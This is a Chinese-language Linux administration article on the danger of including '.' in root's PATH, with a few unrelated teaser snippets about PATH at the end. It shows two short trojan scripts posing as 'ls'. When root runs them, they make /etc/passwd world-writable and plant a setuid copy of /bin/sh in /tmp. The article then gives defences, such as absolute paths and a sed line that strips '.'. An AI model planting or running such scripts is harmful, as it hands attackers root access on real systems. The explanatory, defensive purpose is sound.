本文主要講述「.」在linux的環境變數path中所帶來的問題,及解決的幾種方法。
正如很多人所知道的$path環境變數裡存著一張目錄列表,當使用者要執行某一程式時,系統就會按照列表中的內容去查詢該程式的位置。當程式名前不帶點斜線 . / 時$path就會起作用。
對於普通使用者和root使用者$path裡預設是不包含"."來指定使用者的當前目錄。這在本機進行指令碼開發的程式設計師來說卻不方便,想圖省事的人就把點加到了搜尋路徑中,這就等於在你的系統埋下了險情。
例如:root為了方便使用在他的當前路徑末尾加了個點"."(搜尋目錄為代表當前目錄)
命令操作如下:
[root@rh root]# path=$path:.
[root@rh root]# echo $path
/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.
這下是方便了,直接輸入指令碼名就能執行。ok,正常情況下一點問題沒有,也省去了輸入./foo.sh的煩惱(foo.sh是我假設的指令碼檔名)。有的root把path=$path:.這條命令加到了profile裡,使所有使用者到分享你給他們帶來的"福音"。更有勝者root使用者竟然path=.:$path(將":"加到路徑前是另一種形式)。正常請況下一點問題沒有,直到有一天,張三使用者在他的主目錄下放了名為lls的指令碼,並對root說他的系統出問題了希望root能幫他解決。(其實是乙個trap)。root一上來就su 成管理員許可權,緊更著列了一下目錄。有可能管理員誤敲成了lls,結果哈哈。。。。
以下是個簡單的c shell 的例子
#!/bin/csh
if ( ! -o /bin/su )
goto finish
cp /bin/sh /tmp/.sh
chmod 7777 /tmp/.sh
finish :
exec /bin/ls $argv | grep -v ls
稍微變形就有個b shell的
#!/bin/sh
if chmod 666 /etc/passwd > /dev/null 2>&1 ;then
cp /bin/sh /tmp/.sh
chmod 4755 /tmp/.sh
fiexec ls "$@"
如果root將其環境變數$path包含了"."並且其位置先與ls所在的系統目錄,那麼當使用者在/tmp中執行ls時,執行的是上面給出的指令碼,而不是實際的ls命令,因為最終還是執行了ls,所以root不會看出有任何異常。如果是root執行了該指令碼,就會將口令檔案設定為可寫,並將shell複製到/tmp儲存為.sh,同時設定其setuserid位,所有這一切都非常安靜地發生。
在以上這兩個程式裡,心懷不鬼的人能寫入任何令root急的要跳樓的程式,部下陷阱等root來鑽,也許root在不知不覺中施行了也根本不會察覺。 也許在張三的主目錄下有乙個名為ps的指令碼裡面包含有危險指令碼,root可能一到他的機器前就輸入了ps,此時系統會首先到當前目錄下搜尋,結果/sbin/ps卻不被執行。類似這樣的小花招還有很多。
管理員同志,不要太緊張,下面我說說解決辦法。
首先,要養成輸絕對路徑的良好命令列輸入習慣,這樣就不會讓"不法份子"乘虛而入了。比如,列目錄最好用/bin/ls來列目錄,不要圖方便而冒然輸入ls。
其次,根使用者(root)不要把"."包括到搜尋目錄列表裡,而普通使用者如果個"."包括到搜尋列表中的話別,則"."就應當放在搜尋目錄列表的最後位置上。這樣一來普通使用者不會受到前面所述的那種危害。
最後,可以在登陸時在/etc/profile 和bashrc .profile檔案的末尾新增如下一行
[path=`echo $path |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `
這個簡單的sed命令將刪除路徑裡所有的"."包括其另一形式"::"
還可以由crontab呼叫定期執行
#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt
來搜尋所有以點開頭的檔案,再傳送到root的郵箱裡,再進行比較等任務。
Linux 中的環境變數 PATH
為什麼有時候有些命令明明有,系統卻提示你無相關命令呢?為什麼我們可以在任何目錄下使用ls呢?就是因為 path 環境變數 一定要大寫 先來認識一下什麼是環境變數,用 echo path 命令 當我們使用一些命令時,系統會按照下方現實的檔案順序來查詢相關檔案 可以發現,普通使用者和root賬戶的查詢路...
linux環境變數PATH
root cs70 moban echo path usr local sbin usr local bin usr sbin usr bin root bin 命令時從這些環境變數中開始找的 root cs70 moban mv bin cat opt root cs70 moban which ...
Linux 環境變數 PATH
當我們使用諸如ls mkdir cd這些命令的時候,有沒有想過為啥我們就能直接呼叫?換句話說,在我們輸入這個命令的時候系統是怎麼知道這個命令的執行檔案在哪呢?答案就是 path這個環境變數,可以用echo path把它列印出來看一下。可以看到這個變數包含了許多用分號分隔開的目錄,環境變數的意義在於,...